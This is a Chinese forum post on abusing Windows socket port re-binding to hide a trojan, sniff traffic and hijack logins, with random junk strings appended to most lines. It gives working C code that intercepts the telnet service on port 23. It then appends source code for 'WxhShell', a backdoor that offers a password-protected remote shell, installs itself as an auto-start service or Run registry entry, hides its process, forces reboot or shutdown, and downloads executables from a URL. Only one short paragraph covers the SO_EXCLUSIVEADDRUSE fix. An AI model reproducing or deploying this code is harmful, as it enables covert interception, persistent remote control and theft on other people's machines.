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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: aCfWbJ@qiG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,s,AkH  
W$z^U) |t  
  saddr.sin_family = AF_INET; NR^3 1&}It  
F*4G@)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); po*r14f  
B+c,3@)x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =,s5>2  
1l.HQ IS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -(#`JT8  
0OtUb:8LX  
  这意味着什么?意味着可以进行如下的攻击: c'bh`H4  
|k: FNu]C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Jg.^h1>x  
[XP\WG>s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gU@R   
Iqj?wI 1)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @k-GyV-v  
,K.Wni#m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |A=~aQot  
:vFYqoCn  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {Bpu-R&T  
>GDf* ox[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vU#>3[aC  
E6?0/"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a{.-qp  
}C JK9*Z  
  #include "2"2qZ*h}  
  #include oSO~72  
  #include g(o^'f  
  #include    @[TSJi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !]8QOn7=  
  int main() DeQ ZDY //  
  { Rf{YASPIw&  
  WORD wVersionRequested; q9Lq+4\  
  DWORD ret;  {C%f~j  
  WSADATA wsaData; 7Ewq'Vu`y  
  BOOL val; Jg6@)<n  
  SOCKADDR_IN saddr; ;"NW= P&  
  SOCKADDR_IN scaddr; * YLp C^&  
  int err; d(,M  
  SOCKET s; Z3dI B`@  
  SOCKET sc; H_u%e*W  
  int caddsize; YizwKcuZ  
  HANDLE mt; S e!B,'C%  
  DWORD tid;   jGDuKb@:  
  wVersionRequested = MAKEWORD( 2, 2 ); PJ)d5D%T  
  err = WSAStartup( wVersionRequested, &wsaData ); %^iBTfq2hc  
  if ( err != 0 ) { aM\Ph&c7e'  
  printf("error!WSAStartup failed!\n"); |O*?[|`H  
  return -1; ,,h>_IA  
  } h0-CTPQ7A  
  saddr.sin_family = AF_INET; 'pT8S  
   c:-n0m'i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V~QOl=`K:  
L,sXJ23.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I\= &v^]  
  saddr.sin_port = htons(23); 9*(uJA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K6nNrd}p:  
  { \IOF 9) F  
  printf("error!socket failed!\n"); 4CxU eq  
  return -1; DV!0zzJ  
  } <t,lq  
  val = TRUE; GP=bp_L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tqx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u/` t+-A  
  { 8@KGc )k  
  printf("error!setsockopt failed!\n"); \Bl`;uXb  
  return -1; YcM 0A~<  
  } m3`J9f,c/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9#\oGzDN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 + ;B K|([#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F^cu!-L  
41i#w;ojI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) z[]8"C=  
  { 3o_@3-Y%  
  ret=GetLastError(); .R&jRtb/E  
  printf("error!bind failed!\n"); n-CFB:L  
  return -1; /,+&O#SX  
  } |bk$VT4\  
  listen(s,2); TcH7!fUj  
  while(1) YS>VQl  
  { &[[Hfs2:-]  
  caddsize = sizeof(scaddr); r@G34Q C+  
  //接受连接请求 4z^VwKH\j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fczH^+mI  
  if(sc!=INVALID_SOCKET) !PEP`wEKdp  
  { e @|uG%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -D wO*f  
  if(mt==NULL) Ots]y  
  { S\6.vw!'  
  printf("Thread Creat Failed!\n"); 8q|T`ac+N  
  break; +VO(6Jn  
  } %}Z1KiRiX  
  } |N5|B Q(y$  
  CloseHandle(mt); g`41d  
  } %WFZ&>en&  
  closesocket(s); YDGW]T]i ?  
  WSACleanup(); v(Q-RR  
  return 0; E&\ 0+-Dw  
  }   28lor&Cc  
  DWORD WINAPI ClientThread(LPVOID lpParam) #!w7E,UBi  
  { y~py+:_  
  SOCKET ss = (SOCKET)lpParam; Y".4."NX  
  SOCKET sc; :a)`iJnb  
  unsigned char buf[4096]; W9jxw4)  
  SOCKADDR_IN saddr; rf =Wq_  
  long num; !4T7@V`G  
  DWORD val; N?c!uO|h|  
  DWORD ret; +LaR_n[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Rrp-SR?O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;Lk07+3G  
  saddr.sin_family = AF_INET; ~lr,}K,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n fMU4(:  
  saddr.sin_port = htons(23); mfr7w+DK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,xy$h }g  
  { eJ60@N\A  
  printf("error!socket failed!\n"); `'b2 z=j  
  return -1; 8 g3?@i  
  } 1W{t?1[s  
  val = 100; R-1C#R[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) + y|Q7+  
  { B5!|L)7>{p  
  ret = GetLastError(); 70N Lv  
  return -1; X 3(*bj>P  
  } N$P\$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) otdm r w|  
  { />V& OX `  
  ret = GetLastError(); :+meaxbu  
  return -1; cA B<'44R  
  } QJU\YH%}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A%.ZesjAx  
  { >]ZW.?1h  
  printf("error!socket connect failed!\n"); uQz!of%x  
  closesocket(sc); 1F{,Zr  
  closesocket(ss); K8fC>iNbH  
  return -1; i?'|}tK  
  } >4nQ&b.u  
  while(1) B;J8^esypD  
  { b}Xh|0`b+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nc.:Wm6Mj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T}Ve:S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Up\ k67  
  num = recv(ss,buf,4096,0); +*x9$LSD  
  if(num>0) m[Cp G=32B  
  send(sc,buf,num,0); lF3wTf/j  
  else if(num==0) f;obK~b[  
  break; 4,?WNPqo  
  num = recv(sc,buf,4096,0); q;QE(}.g  
  if(num>0) SL?YU(a  
  send(ss,buf,num,0); !>)o&sM  
  else if(num==0) * 5(%'3  
  break; TPNKvv!s  
  } ma@!"Z8 S  
  closesocket(ss); JHg y&/  
  closesocket(sc); [rReBgV  
  return 0 ; Sgn<=8,6c  
  } 'j\mz5#s  
DJ|lel/'  
a.fdCI]%  
========================================================== S#S&_#$`,X  
Pdk#"H-j  
下边附上一个代码,,WXhSHELL k;jXVa  
#E#Fk3-ljQ  
========================================================== Nu@dMG<5  
| &/_{T  
#include "stdafx.h" >YR2h/S  
d^d+8R  
#include <stdio.h> _3q}K  
#include <string.h> Zhc99L&K  
#include <windows.h> m[s$)-T  
#include <winsock2.h> =LKf.@]#  
#include <winsvc.h> >FqU=Q  
#include <urlmon.h> B{>x  
4++pK;I  
#pragma comment (lib, "Ws2_32.lib") u]& +TR  
#pragma comment (lib, "urlmon.lib") eZ{Ce.lNR  
,91n  
#define MAX_USER   100 // 最大客户端连接数 I6PReVIb  
#define BUF_SOCK   200 // sock buffer qD,/Qu62  
#define KEY_BUFF   255 // 输入 buffer oObQN;A@6  
xMFEeSzl>S  
#define REBOOT     0   // 重启 e//jd&G  
#define SHUTDOWN   1   // 关机 )a<MW66  
R]4 h)"  
#define DEF_PORT   5000 // 监听端口 ~"r(PCa@  
3;3 cTXR?=  
#define REG_LEN     16   // 注册表键长度 .H Pa\b\L>  
#define SVC_LEN     80   // NT服务名长度 uj+{ tc  
-x-EU#.G  
// 从dll定义API 6_>(9&g`zV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ':]Hj8t_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M"yOWD~s~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o,{]<Sm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GIhFOK  
'u6n,yRm  
// wxhshell配置信息 H{1'- wB  
struct WSCFG { _}tPtHPa/  
  int ws_port;         // 监听端口 n _kE  
  char ws_passstr[REG_LEN]; // 口令 ' 1X^@]+6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,>Dpt <  
  char ws_regname[REG_LEN]; // 注册表键名 }H|'W[Q.  
  char ws_svcname[REG_LEN]; // 服务名 =ba1::18  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5-UrHbpCZ#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &FWz7O>1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DC0O N`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l YpoS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ru4M7 %  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u@t~*E5BpM  
>v )V2,P -  
}; W=Mdh}u_I  
bZpx61h|  
// default Wxhshell configuration A0bR.*3  
struct WSCFG wscfg={DEF_PORT, S84S/y  
    "xuhuanlingzhe", $3*y)Ny^  
    1, +3Z+#nGtk  
    "Wxhshell", +%Z:k  
    "Wxhshell", z=Xh  
            "WxhShell Service", }yw>d\] f  
    "Wrsky Windows CmdShell Service", _%(.OR  
    "Please Input Your Password: ", *0'< DnGW  
  1, 3 6t^iV*3  
  "http://www.wrsky.com/wxhshell.exe", BDLJDyf B  
  "Wxhshell.exe" `W.g1"o8W4  
    }; QWE\Ud.q  
*'@ sm*  
// 消息定义模块 [}dPn61  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e@iz`~[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3AAciMq}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2a*+mw  
char *msg_ws_ext="\n\rExit."; *E+VcU  
char *msg_ws_end="\n\rQuit."; \{v-Xe&d^  
char *msg_ws_boot="\n\rReboot..."; lv+: `   
char *msg_ws_poff="\n\rShutdown..."; Adgfo)X5  
char *msg_ws_down="\n\rSave to "; ^DVryeLD  
k106fT]eX  
char *msg_ws_err="\n\rErr!"; #Y'ewu;qJ  
char *msg_ws_ok="\n\rOK!"; p-H}NQ\  
yT[=!M  
char ExeFile[MAX_PATH]; a*uG^~ ).  
int nUser = 0; Z/d {v:)  
HANDLE handles[MAX_USER]; ^ 4*#QtO  
int OsIsNt; s"p\-Z  
z<gII~%  
SERVICE_STATUS       serviceStatus; TeFi[1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \"w+4}  
wj5,_d)  
// 函数声明 PbFbi hg  
int Install(void); Q 7\j:.  
int Uninstall(void); POf xN.  
int DownloadFile(char *sURL, SOCKET wsh); t#w,G  
int Boot(int flag); g!OcWy)7  
void HideProc(void); KNR7Igw?}  
int GetOsVer(void); bz.sWBugR  
int Wxhshell(SOCKET wsl); k{U[ U1j  
void TalkWithClient(void *cs); )Br#R:#  
int CmdShell(SOCKET sock); Lcf?VV}  
int StartFromService(void); U2CC#,b!(  
int StartWxhshell(LPSTR lpCmdLine); X"7x_ yOZ  
@!^Y_q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $k`j";8uR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &P"13]^@  
Uyxn+j 5  
// 数据结构和表定义 2sp4Mm  
SERVICE_TABLE_ENTRY DispatchTable[] = -)xl?IB%  
{ ct<XKqbI  
{wscfg.ws_svcname, NTServiceMain}, m#4h5_N  
{NULL, NULL} 2*a9mi  
}; ./^8L(  
8dC RSU  
// 自我安装 (G(M"S SC  
int Install(void) >XX93  
{ `I(ap{  
  char svExeFile[MAX_PATH]; { ft |*  
  HKEY key; | GN/{KH]  
  strcpy(svExeFile,ExeFile); 'p@m`)Z  
=woP~+  
// 如果是win9x系统,修改注册表设为自启动 "c.-`1,t  
if(!OsIsNt) { |~&cTDd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hBV m; `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YMVi7D~;Q$  
  RegCloseKey(key); D1@yW} 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gtT&97tT<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `g4N]<@z  
  RegCloseKey(key); W|"bV 6d3  
  return 0; 1(RRjT 9  
    } I:6XM?  
  } eu":\ks  
} /1$u|Gs *  
else { 7|jy:F,w%  
cI/}r Z+  
// 如果是NT以上系统,安装为系统服务 b"nkF\P@Fj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $4qM\3x0,  
if (schSCManager!=0) y]+[o1]-c  
{ Mpco8b-b  
  SC_HANDLE schService = CreateService G~ LQM  
  ( @"wX#ot  
  schSCManager, (!qfd Qq#  
  wscfg.ws_svcname, C6h[L  
  wscfg.ws_svcdisp, %LD(S*>7  
  SERVICE_ALL_ACCESS, mn*}U R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J8ScKMUN2  
  SERVICE_AUTO_START, @(+\*]?^&  
  SERVICE_ERROR_NORMAL, %UhLCyC/  
  svExeFile, sx]{N  
  NULL, ;=k{[g 'gv  
  NULL, 2%9L'-  
  NULL, U"oHPK3"TA  
  NULL, $yq76  
  NULL .}T-R?  
  ); DtJ3`Jd  
  if (schService!=0) yE(<F2  
  { ov daK"q2  
  CloseServiceHandle(schService); a .?AniB0  
  CloseServiceHandle(schSCManager); 3\{\ al   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?P4y$P  
  strcat(svExeFile,wscfg.ws_svcname); j5A>aj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (44L8)I.D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )>U"WZ'<  
  RegCloseKey(key); 3Bvz& `\  
  return 0; K9yZG  
    } +XW1,ly~  
  } qg|ark*1u  
  CloseServiceHandle(schSCManager); Gm\)1b  
} E1dhj3+3  
} >AY9 F|:  
ma!C:C9#J  
return 1; >< P<k&  
} 7=Pj}x)  
"] Uj _d  
// 自我卸载 Bjj =UtI  
int Uninstall(void) ~)[ pL(4  
{ 2J%L%6z8~  
  HKEY key; 7FD,TJs  
m,J IId%O  
if(!OsIsNt) { o iC@ /  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !&3"($-U3G  
  RegDeleteValue(key,wscfg.ws_regname); R lbJ4`a  
  RegCloseKey(key); EyA(W;r.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qR_Np5nHF  
  RegDeleteValue(key,wscfg.ws_regname); }Kp$/CYd  
  RegCloseKey(key); 9_.pLLx  
  return 0; @F*z/E}e  
  } <|]i3_Z  
} U2tgBF?)A  
} EwgNd Gcj  
else { Cbl>eKw  
Om>?"=yDE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g{uiY|  
if (schSCManager!=0) DiY74D  
{ CfD4m,6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wZ69W$,p  
  if (schService!=0) a/H5Y,b>  
  { ZNpC& "`G  
  if(DeleteService(schService)!=0) { A$n.'*gK  
  CloseServiceHandle(schService); !q$>6P  
  CloseServiceHandle(schSCManager); g& f)WQ(  
  return 0; -3wid1SOm  
  } Aq7`A^1t$  
  CloseServiceHandle(schService); )OucJQ  
  } 0pl'*r*9  
  CloseServiceHandle(schSCManager); @g]+$Yj  
} \2#K {  
} Pn4jI(  
( ]0F3@k#s  
return 1; vb]uO ' l  
} W(?J,8>  
2"j&_$#l5X  
// 从指定url下载文件 i,% N#  
int DownloadFile(char *sURL, SOCKET wsh) vjh'<5w9Wi  
{ vpOGyvI  
  HRESULT hr; ^k{/Yl  
char seps[]= "/"; 4:733Q3oK  
char *token; m=/HUt3(&0  
char *file; p_e x  
char myURL[MAX_PATH]; $:1/`m19  
char myFILE[MAX_PATH]; $uUyp8F  
5dG+>7Iy}  
strcpy(myURL,sURL); 5|t-CY{?b  
  token=strtok(myURL,seps); $G9E=wn  
  while(token!=NULL) d{) =E8wE  
  { T+rym8.p  
    file=token; wV{j CQ  
  token=strtok(NULL,seps); |u$*'EsP  
  } w)1SZ }  
WE_'u+!B  
GetCurrentDirectory(MAX_PATH,myFILE); sSD&'K=lq  
strcat(myFILE, "\\"); yd'cLZd<}  
strcat(myFILE, file); B# .xs>{N  
  send(wsh,myFILE,strlen(myFILE),0); M?hPlo"_  
send(wsh,"...",3,0); K`ygW|?gt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +ut%C.1  
  if(hr==S_OK) z|Xt'?9&n  
return 0; Z0D&ayzkh^  
else T nyLVIP  
return 1; dVGcth;  
Z=%u:K}[  
} '%:E4oI  
1rU\ !GfR  
// 系统电源模块 B6\/xKmv?8  
int Boot(int flag) S$R=!3* "V  
{ eb,QT\/G  
  HANDLE hToken; ^h#A7 g  
  TOKEN_PRIVILEGES tkp; cXN0D\%`  
#BS!J&a  
  if(OsIsNt) { R`@7f$;wG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a8%T*mk(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mz;ExV16  
    tkp.PrivilegeCount = 1; ~ 7Nqwwx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; aO9\8\^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N[O_}_  
if(flag==REBOOT) { Do^yer~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -x J\/"A  
  return 0; upJ y,|5  
} }v?l0Gk(  
else { %?qzP '  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `ZP[-:`  
  return 0; t*6C?zEAU  
} f^5sJ 0;%  
  } Y2 N$&]O{  
  else { 4j i#Q  
if(flag==REBOOT) { {4p7r7n'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $U. 2"  
  return 0; dr(e)eD(R>  
} YYkgm:[  
else { ,.gJ8p(0x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6O 2sa-{d  
  return 0; 6Q+VW_~  
}  60f%J1u  
} A,= R`m  
I>-}ys`[  
return 1; p!?7;  
} r.:f.AY{  
q?L*Luu+  
// win9x进程隐藏模块  wJvk  
void HideProc(void) G`;mSq6i  
{ cRf;7G  
~Sd,Tu%:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5VfpeA `  
  if ( hKernel != NULL ) y4!fu<[i  
  { o5Knot)Oy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [r'hX#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x0TE+rf5   
    FreeLibrary(hKernel); soKR*gJ,  
  } a{?>F&vnU  
o+R(ux"  
return; I4c %>R  
} W>P:EI1  
8@T0]vH&  
// 获取操作系统版本 +,D82V7S  
int GetOsVer(void) xu;^F  
{ }ASBP:c"t  
  OSVERSIONINFO winfo; kll ,^A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y92<(ziaX)  
  GetVersionEx(&winfo); >4#\ U!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u9+)jN<Yh  
  return 1; jar?"o  
  else mj9]M?]  
  return 0; :4COPUBpPV  
} \D[~54  
L;KLmxy#  
// 客户端句柄模块 9@*4^Ks p  
int Wxhshell(SOCKET wsl) icK U)  
{ ?C6`  
  SOCKET wsh; \OK}DhY#  
  struct sockaddr_in client; PKs$Q=Ol<|  
  DWORD myID; Me;Nn$'%  
lPlJL`e  
  while(nUser<MAX_USER) }yCgd 5+_  
{ uuCVI2|  
  int nSize=sizeof(client); _b=})**  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x6=tS  
  if(wsh==INVALID_SOCKET) return 1; /J,&G: Er  
z]O>`50Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Ju,P_<dt  
if(handles[nUser]==0) 6|%HCxWO  
  closesocket(wsh); Ax!fvcsN  
else 2L1Azx  
  nUser++; 8}^ym^H|j  
  } |e3YTLsI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RWn#"~  
MpJx>0j/J  
  return 0; r1$x}I#Zv  
} B_.>Q8tK;  
/ pR,l5  
// 关闭 socket 'FN3r  
void CloseIt(SOCKET wsh) r8L'C  
{ ^}GR!990  
closesocket(wsh); H329P*P  
nUser--; D/WzYc2h]  
ExitThread(0); @jD19=  
} Z ?w=-  
lt}U,p,S  
// 客户端请求句柄 6K9-n}z  
void TalkWithClient(void *cs) Y[fbmn^  
{ ]JI A\|b6  
0j{KZy  
  SOCKET wsh=(SOCKET)cs; a3(f\MM xE  
  char pwd[SVC_LEN]; j;*= ^s  
  char cmd[KEY_BUFF];  aK9zw  
char chr[1]; MK4CggoC  
int i,j; '}NH$ KA  
5d82Ms  
  while (nUser < MAX_USER) { f<3r;F7  
0 f"M-x  
if(wscfg.ws_passstr) { #DH eEE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); niM(0p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); );x[1*e  
  //ZeroMemory(pwd,KEY_BUFF); :SpPT  
      i=0; !myF_cv}'  
  while(i<SVC_LEN) { >Q^*h}IdW  
mDU-;3OqF  
  // 设置超时 qk(u5Z  
  fd_set FdRead; sk`RaDq@;  
  struct timeval TimeOut; rB5+~ K@  
  FD_ZERO(&FdRead); lnntb3q  
  FD_SET(wsh,&FdRead); u+e.{Z!  
  TimeOut.tv_sec=8; oRCD8b?  
  TimeOut.tv_usec=0; aeF^&F0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7kidPAhY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *yA. D?  
Bk~M^AK@~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .'N#qs_  
  pwd=chr[0]; 2E3x=  
  if(chr[0]==0xd || chr[0]==0xa) { G{oM2`c'#8  
  pwd=0; p&;,$KDA  
  break; :~9F/Jx  
  } J7rfHhz  
  i++; cV)~%e/  
    } GD .>u  
<3Hu(Jx<O  
  // 如果是非法用户,关闭 socket iD9hqiX&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MMUw+jM4  
} )F35WP~  
BLhuYuON  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]dIr;x`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sFxciCpN  
uM~j  
while(1) { #/`V.jXt>  
@;z}Hk0A  
  ZeroMemory(cmd,KEY_BUFF); 'GcZxF0  
aG\B?pn-  
      // 自动支持客户端 telnet标准   6e;.}i  
  j=0; tMy@'nj  
  while(j<KEY_BUFF) { $eBE pN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7gQ~"Q  
  cmd[j]=chr[0]; \(bML#I  
  if(chr[0]==0xa || chr[0]==0xd) { jVu3!{}  
  cmd[j]=0; /c1FFkq|K  
  break; [HENk34  
  } uJ$!lyJ6L  
  j++; !xK`:[B  
    } n _*k e  
Nm=W?i  
  // 下载文件 nEm+cHHo?  
  if(strstr(cmd,"http://")) { 1 {V*(=Tp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xTL"%'|  
  if(DownloadFile(cmd,wsh)) SLc'1{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WChJ <[]W  
  else D*j\gI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QRv2%^L  
  } r yO\$m  
  else { 4m6E~_:F  
F 'U G p  
    switch(cmd[0]) { g< {jgF  
  bXiT}5mJU  
  // 帮助 j7 D\O  
  case '?': { zW^@\kB0D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AHhck?M^  
    break; 9_ GR\\  
  } cv["Ps#;`W  
  // 安装 YX_p3  
  case 'i': { wy$9QN  
    if(Install()) lH^[b[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pw'3ya8  
    else m.p{+_@M&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8+ 1t ys  
    break; &a p{|>3  
    } pemb2HQ'4j  
  // 卸载  P-QZ=dm  
  case 'r': { 7 0:a2m  
    if(Uninstall()) BUcze\+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e;<=aa)}?  
    else !285=cxz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wvA@\-.+  
    break; amIG9:-1'  
    } v >71 ?te  
  // 显示 wxhshell 所在路径 @D rMaTr  
  case 'p': { /E@|  
    char svExeFile[MAX_PATH]; $R7n1  
    strcpy(svExeFile,"\n\r"); DxT8;`I%  
      strcat(svExeFile,ExeFile); /AP@Bhm  
        send(wsh,svExeFile,strlen(svExeFile),0); Q': }'CI  
    break; Xb=9~7&,$  
    } o+(.Pb  
  // 重启 B&yb%`9],W  
  case 'b': { ;X! sTs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]-& ehW  
    if(Boot(REBOOT)) .3&zP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IXugnvyV  
    else { Sf)VQ5U!Y  
    closesocket(wsh); ,.uPlnB_  
    ExitThread(0); CC>]Gc7  
    } wg*2mo  
    break; },'2j  
    } hof:+aW  
  // 关机 ajW[}/)  
  case 'd': { _.OajE\T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^'~+w3M@  
    if(Boot(SHUTDOWN)) }}v;V*_V  
